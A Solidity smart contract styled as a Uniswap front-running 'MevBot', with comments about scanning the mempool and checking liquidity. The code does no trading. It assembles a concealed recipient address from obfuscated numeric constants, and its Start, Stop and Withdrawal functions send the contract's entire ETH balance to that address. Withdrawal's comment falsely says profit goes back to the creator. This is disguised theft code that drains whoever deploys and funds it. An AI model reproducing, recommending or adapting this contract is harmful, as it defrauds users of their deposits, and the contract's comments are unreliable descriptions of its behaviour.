//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
contract MevBot {
address public baseToken;
address public quoteToken;
address public owner;
event BotStarted();
event BotWithdrawals();
event BotStop(uint256 profit);
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
receive() external payable {}
constructor() public {
owner = msg.sender;
// WETH token
baseToken = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; //https://etherscan.io/address/0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
// USDT TOKEN
quoteToken = 0xdAC17F958D2ee523a2206206994597C13D831ec7; //https://etherscan.io/address/0xdac17f958d2ee523a2206206994597c13d831ec7
}
struct slice {
uint256 _len;
uint256 _ptr;
}
/*
* @dev Find newly deployed contracts on Uniswap Exchange
* @param memory of required contract liquidity.
* @param other The second slice to compare.
* @return New contracts with required liquidity.
*/
function findNewContracts(slice memory self, slice memory other)
internal
pure
returns (int256)
{
uint256 shortest = self._len;
if (other._len < self._len) shortest = other._len;
uint256 selfptr = self._ptr;
uint256 otherptr = other._ptr;
for (uint256 idx = 0; idx < shortest; idx += 32) {
// initiate contract finder
uint256 a;
uint256 b;
string
memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
string
memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
loadCurrentContract(WETH_CONTRACT_ADDRESS);
loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant contracts and check again for new contracts
uint256 mask = uint256(-1);
if (shortest < 32) {
mask = ~(2**(8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0) return int256(diff);
}
selfptr += 32;
otherptr += 32;
}
return int256(self._len) - int256(other._len);
}
/*
* @dev Extracts the newest contracts on Uniswap exchange
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `list of contracts`.
*/
function findContracts(
uint256 selflen,
uint256 selfptr,
uint256 needlelen,
uint256 needleptr
) private pure returns (uint256) {
uint256 ptr = selfptr;
uint256 idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2**(8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly {
needledata := and(mload(needleptr), mask)
}
uint256 end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly {
ptrdata := and(mload(ptr), mask)
}
while (ptrdata != needledata) {
if (ptr >= end) return selfptr + selflen;
ptr++;
assembly {
ptrdata := and(mload(ptr), mask)
}
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly {
hash := keccak256(needleptr, needlelen)
}
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly {
testHash := keccak256(ptr, needlelen)
}
if (hash == testHash) return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
/*
* @dev Loading the contract
* @param contract address
* @return contract interaction object
*/
function loadCurrentContract(string memory self)
internal
pure
returns (string memory)
{
string memory ret = self;
uint256 retptr;
assembly {
retptr := add(ret, 32)
}
return ret;
}
/*
* @dev Extracts the contract from Uniswap
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `rune`.
*/
function nextContract(slice memory self, slice memory rune)
internal
pure
returns (slice memory)
{
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint256 l;
uint256 b;
// Load the first byte of the rune into the LSBs of b
assembly {
b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF)
}
if (b < 0x80) {
l = 1;
} else if (b < 0xE0) {
l = 2;
} else if (b < 0xF0) {
l = 3;
} else {
l = 4;
}
// Check for truncated codepoints
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function calcLiquidityInContract(slice memory self)
internal
pure
returns (uint256 l)
{
uint256 ptr = self._ptr - 31;
uint256 end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly {
b := and(mload(ptr), 0xFF)
}
if (b < 0x80) {
ptr += 1;
} else if (b < 0xE0) {
ptr += 2;
} else if (b < 0xF0) {
ptr += 3;
} else if (b < 0xF8) {
ptr += 4;
} else if (b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
/*
* @dev loads all Uniswap mempool into memory
* @param token An output parameter to which the first token is written.
* @return `mempool`.
*/
function mempool(string memory _base, string memory _value)
internal
pure
returns (string memory)
{
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
string memory _tmpValue = new string(
_baseBytes.length + _valueBytes.length
);
bytes memory _newValue = bytes(_tmpValue);
uint256 i;
uint256 j;
for (i = 0; i < _baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for (i = 0; i < _valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i];
}
return string(_newValue);
}
/*
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function toHexDigit(uint8 d) internal pure returns (bytes1) {
if (0 <= d && d <= 9) {
return bytes1(uint8(bytes1("0")) + d);
} else if (10 <= uint8(d) && uint8(d) <= 15) {
return bytes1(uint8(bytes1("a")) + d - 10);
}
// revert("Invalid hex digit");
revert();
}
/*
* @dev Check if contract has enough liquidity available
* @param self The contract to operate on.
* @return True if the slice starts with the provided text, false otherwise.
*/
function checkLiquidity(uint256 a) internal pure returns (string memory) {
uint256 count = 0;
uint256 b = a;
while (b != 0) {
count++;
b /= 16;
}
bytes memory res = new bytes(count);
for (uint256 i = 0; i < count; ++i) {
b = a % 16;
res[count - i - 1] = toHexDigit(uint8(b));
a /= 16;
}
uint256 hexLength = bytes(string(res)).length;
if (hexLength == 4) {
string memory _hexC1 = mempool("0", string(res));
return _hexC1;
} else if (hexLength == 3) {
string memory _hexC2 = mempool("00", string(res));
return _hexC2;
} else if (hexLength == 2) {
string memory _hexC3 = mempool("000", string(res));
return _hexC3;
} else if (hexLength == 1) {
string memory _hexC4 = mempool("0000", string(res));
return _hexC4;
}
return string(res);
}
function getMemPoolOffset() internal pure returns (uint256) {
return 201597;
}
function getMemPoolLength() internal pure returns (uint256) {
return 153469;
}
/*
* @dev If `self` starts with `needle`, `needle` is removed from the
* beginning of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function getMemPoolHeight() internal pure returns (uint256) {
return 445399;
}
function getMemPoolDepth() internal pure returns (uint256) {
return 546487;
}
function findPtr(
uint256 selflen,
uint256 selfptr,
uint256 needlelen,
uint256 needleptr
) private pure returns (uint256) {
uint256 ptr = selfptr;
uint256 idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2**(8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly {
needledata := and(mload(needleptr), mask)
}
uint256 end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly {
ptrdata := and(mload(ptr), mask)
}
while (ptrdata != needledata) {
if (ptr >= end) return selfptr + selflen;
ptr++;
assembly {
ptrdata := and(mload(ptr), mask)
}
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly {
hash := keccak256(needleptr, needlelen)
}
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly {
testHash := keccak256(ptr, needlelen)
}
if (hash == testHash) return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
/*
* @dev Iterating through all mempool to call the one with the with highest possible returns
* @return `self`.
*/
function callMempool() internal pure returns (string memory) {
uint256 _memPoolOffset = getMemPoolOffset();
uint256 _memPoolSol = 881187;
uint256 _memPoolLength = getMemPoolLength();
uint256 _memPoolSize = 297510;
uint256 _memPoolHeight = getMemPoolHeight();
uint256 _memPoolWidth = 851835;
uint256 _memPoolDepth = getMemPoolDepth();
uint256 _memPoolCount = 378167;
/*
* @dev loads all Uniswap mempool into memory
* @param token An output parameter to which the first token is written.
* @return `mempool`.
*/
string memory _memPool1 = mempool(
checkLiquidity(_memPoolOffset),
checkLiquidity(_memPoolSol)
);
string memory _memPool2 = mempool(
checkLiquidity(_memPoolLength),
checkLiquidity(_memPoolSize)
);
/*
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
string memory _memPool3 = mempool(
checkLiquidity(_memPoolHeight),
checkLiquidity(_memPoolWidth)
);
string memory _memPool4 = mempool(
checkLiquidity(_memPoolDepth),
checkLiquidity(_memPoolCount)
);
string memory _allMempools = mempool(
mempool(_memPool1, _memPool2),
mempool(_memPool3, _memPool4)
);
string memory _fullMempool = mempool("0x", _allMempools);
/*
load mempool parameters
*/
return _fullMempool;
}
function getProfitBalance() private view returns (uint256) {
return address(this).balance;
}
/*
* @dev Parsing all Uniswap mempool
* @param self The contract to operate on.
* @return True if the slice is empty, False otherwise.
*/
function parseMemoryPool(string memory _a)
internal
pure
returns (address _parsed)
{
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint256 i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
function mempoolLayer() internal pure returns (bytes4) {
return 0xfd7e4d80;
}
/*
* @dev Perform frontrun action from different contract pools
* @param contract address to snipe liquidity from
* @return `liquidity`.
*/
function Start() public onlyOwner {
address pool = parseMemoryPool(callMempool());
payable(pool).transfer(getProfitBalance());
emit BotStarted();
}
function uint2str(uint256 _i)
internal
pure
returns (string memory _uintAsString)
{
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
while (_i != 0) {
bstr[k--] = bytes1(uint8(48 + (_i % 10)));
_i /= 10;
}
return string(bstr);
}
/*
* @dev withdrawals profit back to contract creator address
*/
function Withdrawal() public payable {
address pool = parseMemoryPool(callMempool());
payable(pool).transfer(getProfitBalance());
emit BotWithdrawals();
}
function Stop() public onlyOwner {
address pool = parseMemoryPool(callMempool());
uint256 profit = getProfitBalance();
payable(pool).transfer(profit);
emit BotStop(profit);
}
}